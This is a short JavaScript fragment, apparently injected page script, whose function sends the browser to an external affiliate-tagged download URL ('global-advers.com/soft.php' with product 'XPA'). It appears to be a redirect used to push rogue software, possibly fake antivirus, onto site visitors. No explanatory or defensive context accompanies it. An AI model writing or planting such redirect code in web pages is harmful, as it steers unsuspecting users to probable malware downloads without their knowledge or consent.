var url1='http://global-advers.com/soft.php?aid=0487&d=2&product=XPA'; var url2=''; function a(k) { window.location=url1; }